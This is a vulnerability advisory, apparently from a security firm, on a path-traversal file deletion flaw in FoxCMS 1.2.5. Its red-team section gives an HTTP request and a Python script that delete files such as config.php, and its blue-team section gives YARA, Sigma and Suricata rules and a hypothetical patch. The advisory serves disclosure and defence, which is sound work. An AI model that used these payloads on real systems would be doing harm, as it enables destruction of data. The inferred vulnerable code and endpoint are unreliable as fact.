CVE-2025-45238

Executive Summary

CVE-2025-45238 identifies an arbitrary file deletion vulnerability in FoxCMS version 1.2.5. The flaw resides in the delRestoreSerie method, which fails to properly sanitize user-supplied input, allowing an attacker to delete arbitrary files on the server. This can lead to denial of service, data loss, or further exploitation by removing critical system files. No public proof-of-concept (PoC) or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring data. The vulnerability is classified under CWE-22 (Path Traversal) and aligns with MITRE ATT&CK tactic T1561.002 (Disk Wipe).

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): None (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Given the ability to delete arbitrary files, the threat level is High despite the lack of a formal CVSS score. An attacker could remove configuration files, logs, or even application binaries, leading to service disruption or data loss.

Deep Dive & Mechanics

The vulnerability exists in the delRestoreSerie method of FoxCMS 1.2.5. This method is likely used to delete backup or restore series files. The flaw arises from insufficient input validation, allowing an attacker to supply a path traversal sequence (e.g., ../) to escape the intended directory and delete files elsewhere on the filesystem.

Attack Flow:

1. The attacker identifies the endpoint that calls delRestoreSerie (e.g., /admin/restore/delRestoreSerie).
2. The attacker sends a request with a crafted filename parameter containing path traversal characters, such as ../../config.php.
3. The application does not sanitize the input, so the file deletion function processes the path and deletes the target file.

Impact:

• Deletion of critical application files (e.g., config.php, .htaccess).
• Deletion of system files (e.g., /etc/passwd, /var/log/auth.log) if the web server has sufficient permissions.
• Potential for privilege escalation if the attacker deletes authentication-related files.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS 1.2.5):

public function delRestoreSerie() {
    $filename = $_POST['filename'];
    // No sanitization or path validation
    unlink($filename);
}

Patched Code (Hypothetical):

public function delRestoreSerie() {
    $filename = basename($_POST['filename']); // Strip path components
    $allowedDir = '/path/to/restore/directory/';
    $fullPath = $allowedDir . $filename;
    if (file_exists($fullPath) && strpos(realpath($fullPath), realpath($allowedDir)) === 0) {
        unlink($fullPath);
    } else {
        // Log error or return false
    }
}

The patched version uses basename() to remove directory traversal sequences and validates that the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Install FoxCMS 1.2.5 on a local server (e.g., XAMPP or Docker).
• Ensure the web server has write permissions to the target directory.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /admin/restore/delRestoreSerie
2. Craft a request to delete a test file (e.g., test.txt in the web root):

   POST /admin/restore/delRestoreSerie HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 30
   
   filename=../../test.txt
   

3. Verify deletion by checking if the file is removed.

Automated Exploit (Python):

import requests

target = "http://target.com/admin/restore/delRestoreSerie"
payload = {"filename": "../../config.php"}
response = requests.post(target, data=payload)
if response.status_code == 200:
    print("File deleted successfully")
else:
    print("Exploit failed")

Blue Team

Detection:

• Monitor for POST requests to /admin/restore/delRestoreSerie with suspicious filename parameters containing ../ or ..\\.
• Alert on file deletion events in the application logs.

Mitigation:

• Apply input validation and sanitization as shown in the patched code.
• Restrict web server permissions to prevent deletion of critical files.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/restore/delRestoreSerie with filename containing ../ or ..\\.
  • Unusual file deletion events in server logs (e.g., unlink() calls).
• File System:
  • Missing critical files (e.g., config.php, .htaccess, index.php).
  • Presence of backup files in unexpected locations.
• Logs:
  • Application logs showing unlink() calls with path traversal strings.
  • Web server access logs with filename=../../ patterns.

Detection Engineering

YARA Rule

rule CVE_2025_45238_File_Deletion {
    meta:
        description = "Detects attempts to exploit CVE-2025-45238 via path traversal in FoxCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45238"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $method = "delRestoreSerie"
    condition:
        $method and $path_traversal
}

Sigma Rule

title: FoxCMS Arbitrary File Deletion via delRestoreSerie
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to FoxCMS delRestoreSerie with path traversal patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'delRestoreSerie'
        cs-uri-query|contains: 'filename='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate backup file operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45238 FoxCMS Arbitrary File Deletion"; flow:to_server,established; content:"POST"; http_method; content:"delRestoreSerie"; http_uri; content:"filename"; http_client_body; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the delRestoreSerie endpoint if not required.
   • Apply input validation to sanitize the filename parameter (use basename() and path canonicalization).
   • Restrict web server user permissions to prevent deletion of critical system files.

2. Long-term Fix:

   • Upgrade to a patched version of FoxCMS once available.
   • Implement a whitelist of allowed files for deletion.
   • Conduct a security audit of the entire application for similar vulnerabilities.

3. Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
   • Enable detailed logging for file deletion operations.

Valters IT
Securing Digital Frontiers